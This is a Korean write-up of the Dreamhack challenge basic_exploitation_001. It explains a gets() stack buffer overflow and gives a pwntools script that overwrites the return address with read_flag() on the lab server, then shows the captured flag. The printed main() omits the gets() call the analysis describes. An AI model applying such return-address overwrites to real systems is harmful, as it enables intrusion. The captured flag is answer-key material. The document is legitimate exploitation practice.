← 전체 Write-Up

Pwn / Dreamhack

basic_exploitation_001

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

basic_exploitation_001 — 실습 화면 1

  • 32bit 환경
  • RELRO 기법 비활성화
  • canary 기법 비활성화
  • NX 기법 활성화
  • PIE 기법 비활성화

실습 코드


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];
}

분석

1. 취약점 분석

NX 기법 때문에 셸 코드는 작동하지 않는다. buf의 크기가 0x80으로 128bytes가 할당 되는데 gets() 함수를 이용해 buf를 읽어들인다.

gets() 함수는 표준입력으로 들어온 문자열을 개행한 부분 앞까지 짤라서 char* 타입의 문자열로 저장해주고, 자동으로 문자열 맨 끝에 \0을 넣어서 문자열을 완성한다.


2. 익스플로잇

스택 프레임 구조 파악

basic_exploitation_001 — 실습 화면 2


익스플로잇 코드

from pwn import *

p = remote("host.dreamhack.games", 15134)

payload = b'A' * 0x84 + p32(0x080485b9)

p.send(payload)

p.interactive()

코드 설명

buf의 크기인 0x80에 EBP 크기 4 bytes를 더해서 RET 함수 전까지 더미 데이터로 채우고, RET 호출 주소를 read_flag() 함수 호출 주소로 덮으면 플래그를 따낼 수 있다.

결과

basic_exploitation_001 — 실습 화면 3

DH{01ec06f5e1466e44f86a79444a7cd116}

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처